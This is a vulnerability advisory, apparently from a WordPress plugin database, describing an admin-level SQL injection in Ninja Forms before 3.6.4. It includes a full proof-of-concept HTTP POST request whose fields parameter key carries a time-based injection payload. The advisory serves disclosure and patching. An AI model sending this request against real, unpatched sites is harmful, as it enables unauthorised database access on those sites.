WordPress Plugin Vulnerabilities

Ninja Forms < 3.6.4 - Admin+ SQL Injection

Description

The plugin does not escape keys of the fields POST parameter, which could allow high privilege users to perform SQL injections attacks

Proof of Concept

POST /wp-admin/post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 972
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

_wpnonce=b71ca03531&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D106%26action%3Dedit&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=nf_sub&original_post_status=publish&referredby=http%3A%2F%2F192.168.223.130%2Fwp-admin%2Fedit.php%3Fpost_status%3Dall%26post_type%3Dnf_sub%26form_id%3D2&_wp_original_http_referer=http%3A%2F%2F192.168.223.130%2Fwp-admin%2Fedit.php%3Fpost_status%3Dall%26post_type%3Dnf_sub%26form_id%3D2&post_ID=106&meta-box-order-nonce=0a34e97291&closedpostboxesnonce=88cbb362ee&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=10&jj=20&aa=2021&hh=15&mn=58&ss=47&hidden_mm=10&cur_mm=10&hidden_jj=20&cur_jj=20&hidden_aa=2021&cur_aa=2021&hidden_hh=15&cur_hh=16&hidden_mn=58&cur_mn=47&original_publish=Update&nf_edit_sub=1&save=Update&post_name=106&fields%5B5%5D=0&fields%5B5%5D=on&fields%5B6%5D=0&fields%5B6%5D=on&fields[' or sleep(1)-- -]=xxx

Affects Plugins

Fixed in 3.6.4

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-10-26 (about 2 years ago)
Added
2021-10-26 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)

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